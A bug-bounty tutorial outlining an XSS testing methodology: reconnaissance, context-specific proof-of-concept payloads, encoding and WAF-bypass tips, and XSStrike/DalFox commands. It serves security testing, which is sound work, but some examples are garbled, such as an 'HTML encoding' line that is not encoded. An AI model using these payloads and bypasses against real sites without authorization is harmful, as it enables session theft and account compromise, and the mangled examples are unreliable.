Cross-Site Scripting (XSS) remains one of the most common web vulnerabilities, making it a prime target for bug bounty hunters. Below is a detailed methodology for discovering and exploiting XSS vulnerabilities.
1. Reconnaissance
- Identify all input fields (forms, search bars, comment sections).
- Test URL parameters (
?param=value). - Examine HTTP headers (
User-Agent,Referer,Cookie). - Check for WAF (Web Application Firewall) presence and test bypass techniques.
Example Commands:
Curl to test reflected XSS curl -s "http://example.com/search?q=<script>alert(1)</script>" | grep -i "script" Using Burp Suite to intercept and modify requests burpsuite &
2. Injection Points
Different contexts require different payloads:
HTML Context
<script>alert(document.domain)</script>
Attribute Context
" onmouseover=alert(1) x="
JavaScript Context
';alert(1);//
Event Handlers
< svg/onload=alert(1)>
JSON/XML Context
{"payload":"<img src=x onerror=alert(1)>"}
3. Bypasses & Filters
- URL Encoding: `%3Cscript%3Ealert(1)%3C/script%3E`
- HTML Encoding: `<script>alert(1)</script>`
- Base64 Encoding:
echo -n '<script>alert(1)</script>' | base64
- CSP Bypass: Check for weak policies like `unsafe-inline` or
unsafe-eval.
4. Automation & Tools
- Burp Suite (Intruder, Repeater, Collaborator)
- XSStrike (Advanced XSS detection)
python3 xsstrike.py -u "http://example.com/search?q=fuzz"
- DalFox (Fast parameter analysis)
dalfox url http://example.com/search?q=test
- XSS Hunter (Blind XSS detection)
You Should Know:
- DOM-based XSS requires client-side analysis (
document.location.hash). - Stored XSS persists in databases (test comment sections).
- Self-XSS is not valid for bounties (requires user interaction).
What Undercode Say
XSS remains a critical flaw due to improper input sanitization. Always test:
– Multiple encoding methods.
– Different injection contexts.
– WAF bypass techniques.
Expected Output:
<script>alert('XSS Found')</script>
Prediction:
As web apps evolve, XSS attacks will shift toward DOM-based and blind XSS, requiring more advanced detection tools.
References:
Reported By: Zlatanh Xss – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
